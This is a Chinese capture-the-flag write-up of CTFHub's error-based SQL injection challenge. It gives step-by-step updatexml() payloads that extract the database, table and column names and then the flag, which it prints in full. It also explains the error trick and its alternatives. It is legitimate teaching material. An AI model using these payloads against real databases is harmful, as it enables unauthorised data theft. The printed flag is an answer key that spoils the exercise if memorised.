CTFHUB-WEB-SQL注入-报错注入

报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。

题目:

CTFHUB-WEB-SQL注入-报错注入_第1张图片

靶机环境:输入1时,显示正确
CTFHUB-WEB-SQL注入-报错注入_第2张图片

输入一个随意的字符串后,显示错误。
CTFHUB-WEB-SQL注入-报错注入_第3张图片

求数据库名:输入1 union select updatexml(1,concat(0x7e,database(),0x7e),1);,页面报错:
CTFHUB-WEB-SQL注入-报错注入_第4张图片

求表名:输入1 union select updatexml(1,concat(0x7e, (select(group_concat(table_name))from information_schema.tables where table_schema=“sqli”) ,0x7e),1);
,页面回显错误:
CTFHUB-WEB-SQL注入-报错注入_第5张图片

求列名:输入1 union select updatexml(1,concat(0x7e, (select(group_concat(column_name))from information_schema.columns where table_name=“flag”) ,0x7e),1);查找flag表里的列名,页面回显:
CTFHUB-WEB-SQL注入-报错注入_第6张图片

求字段值:输入1 union select updatexml(1,concat(0x7e, (select(group_concat(flag)) from sqli.flag) ,0x7e),1);,得到:
ctfhub{9cfda82fce31eec39ee79d7c
CTFHUB-WEB-SQL注入-报错注入_第7张图片

发现只爆出了一部分flag,应该是回显长度受限,于是用到right函数,输入 1 union select updatexml(1,concat(0x7e, right((select(group_concat(flag)) from sqli.flag) ,31),0x7e),1); 得到另一部分flag:
31eec39ee79d7c78a8215374d2caaa}
CTFHUB-WEB-SQL注入-报错注入_第8张图片

完整flag为ctfhub{9cfda82fce31eec39ee79d7c78a8215374d2caaa}

知识点:

一、updatexml函数

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称。
第二个参数:XPath_string (Xpath格式的字符串) 。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值。
由于updatexml的第二个参数需要Xpath格式的字符串,以~开头的内容不是xml格式的语法,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。
同样的,还可以利用floor()、extractvalue()等函数进行报错注入,可见https://www.cnblogs.com/wocalieshenmegui/p/5917967.html

二、常用函数

right(str, num):字符串从右开始截取num个字符
left(str,num):字符串从左开始截取num个字符
substr(str,N,M): 字符串从第N个字符开始,截取M个字符

你可能感兴趣的:(CTF,mysql,安全)